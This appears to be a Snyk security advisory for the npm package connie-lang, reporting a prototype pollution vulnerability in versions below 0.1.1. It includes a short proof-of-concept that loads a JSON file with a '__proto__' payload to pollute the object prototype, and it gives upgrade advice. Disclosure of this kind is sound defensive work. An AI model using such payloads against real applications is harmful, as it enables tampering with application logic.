connie-lang@0.0.2 vulnerabilities

Configuration language for connie

Direct Vulnerabilities

Known vulnerabilities in the connie-lang package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

connie-lang is a the configuration language for connie.

Affected versions of this package are vulnerable to Prototype Pollution in the configuration language library used by connie.

POC

const connie = require('connie');
const fs = require('fs');
fs.writeFileSync('test.json', `{"__proto__": {"polluted": true}}`);
connie('dir', '.').read().then(x => {
    console.log(polluted);
});

How to fix Prototype Pollution?

Upgrade connie-lang to version 0.1.1 or higher.

<0.1.1